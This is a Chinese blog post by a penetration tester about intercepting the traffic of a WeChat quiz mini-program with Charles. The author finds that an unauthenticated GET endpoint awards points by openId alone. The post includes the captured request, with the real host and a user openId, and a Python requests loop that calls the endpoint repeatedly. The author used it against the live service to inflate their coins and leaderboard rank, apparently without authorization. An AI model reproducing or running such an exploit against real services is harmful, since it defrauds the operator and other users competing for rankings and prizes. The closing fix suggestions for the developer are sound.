charls抓微信小程序数据包–码题达人金币任你刷

charls抓微信小程序数据包–码题达人金币任你刷

这段时间对微信小程序很感兴趣,自己也加入了微信小程序开发的浪潮中来。虽然自己还没写出什么像模像样的小程序来,但作为一个搞渗透的,当然还是喜欢搞点事情来玩。因为自己是以python作为主要的编程语言,所以关注的公众号里看到了 码题达人 的小程序,里面目前都是关于python的题目,难度也还适中。虽然这篇文章是关于如何对这个小程序进行渗透测试,并最终达到刷分的目的。但由于本身也挺不错的,所以向大家推荐一波。

关于这个小程序介绍:https://mp.weixin.qq.com/s/lAqa4CYXLF3t_3j2fNNChg

那接下就开始进入正题吧,我最终选择了charls来抓取微信小程序的数据包,我之前也在纠结fiddler。但实在是对fiddler的界面看着难受,而charls界面更加简洁,个人感觉使用起来也要舒服许多。

由于微信小程序都要求部署https,所以对应要抓https的数据包就要安装证书。而对于charls如何使用并不是本文的重点,所以参考一些其他关于charls使用的文章:https://www.jianshu.com/p/fb2bdde5b498

因为是抓手机上的数据包,所以需要给手机设置代理,手机和电脑在同一个局域网内,以charls为例,默认监听的8888端口。由于我在寝室里是用的路由器,所以相对比较方便。

将主机名设为电脑的ip,端口就填8888,charls就可以开始抓手机上的数据包了。

从抓包可以看到码题达人小程序的host为:https://www.coderv5.com

在小程序里面进入我的积分中,这个是我目前获得的金币和积分(其实是我昨天刷上去的,本来我只有几金币和几十积分,但是忘了截图了。。。)

那么接下来就开始我的表演了

我们先去刷这个的积分,因为积分的获得是通过 菜鸟练手 来获得的,积答对一道题即可获得一积分,现在开始做题并抓包。

 

发现问题和答案都在返回的数据包里面,有点意思

最开始我以为可能是服务端只是给前端发送题目信息,然后前端返回用户的答案给后端作判断答案正确与否,是否给用户增加积分。不过小程序把问题和答案同时发给前端来处理这样的做法也无可厚非,毕竟这样很大程度上减轻了服务器的压力。不过安全性就降低了很多。

在答题的过程中发现当答对时会发送一个数据包给服务器,但是是用的get方法,也没有携带cookie。观察这个get的链接带了一个openid,基本上可以肯定这个就是用户的唯一标识了。

GET /wq/api/question/answerRight?openId=oBL7y0GHisUhLN0bUNJlUIC29EpA&questionType=cn HTTP/1.1
charset: utf-8
Accept-Encoding: gzip
referer: https://servicewechat.com/wxab1686f4ef9691e9/9/page-frame.html
content-type: application/json
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; MI 5C Build/N2G47J; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.143 Crosswalk/24.53.595.0 XWEB/155 MMWEBSDK/21 Mobile Safari/537.36 MicroMessenger/6.7.1321(0x26070030) NetType/WIFI Language/zh_CN MicroMessenger/6.7.1321(0x26070030) NetType/WIFI Language/zh_CN
Host: www.coderv5.com
Connection: Keep-Alive

分析之后,不用想都能知道这存在一个极大的漏洞,直接刷分呗。

因为在这小程序里面金币显得更为重要,金币的数量直接影响了你的排名,而且金币可以用来换奖品,所以我就以刷金币作为演示。上面我的截图显示我目前的金币为468。

现在我是排在12名位置,主要是昨天一下刷了几百金币冲上来的。

为了演示,但是又不至于金币刷太多导致排名太高,那我们就刷到第8名的位置去吧,把金币数量定为535。于是习惯性的打开了我的pycharm,马上写一个python的脚本刷分。因为刷金币的原理也是一样的,所以我就不多做赘述了,只是get的参数不一样罢了。

几行python代码轻轻松松就把金币刷上去了,不过写脚本时要注意因为是https,要加上verify=False,不然解释器会报错。附上代码:

import requests

url='https://www.coderv5.com/wq/api/question/answerRight'
for i in range(67):
    vote=requests.get(url,params={'openId':'oBL7y0GHisUhLN0bUNJlUIC29EpA','questionType':'gs'},verify=False)
    print('刷取金币成功!')

现在我已经成功把金币刷到了535,同时排名也到了第8名。是不是觉得很有意思呢。

因为自己是搞渗透测试的,所以平时有事没事就喜欢搞点事情。

从我的角度给作者提一些建议,我认为最好的办法就是传输的数据进行二次加密。其次尽可能把用户的提交的答案让服务器来判断,因为前端的判断对于用户来说其实是可控的。所以安全性也就不得而知了。

当然我写这篇文章也只是为了分析整个刷分的过程,仅供参考。并没有对小程序的作者有任何不满之意。而且我个人也特别喜欢这个做python题目的小程序。希望作者能越做越好!

 

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。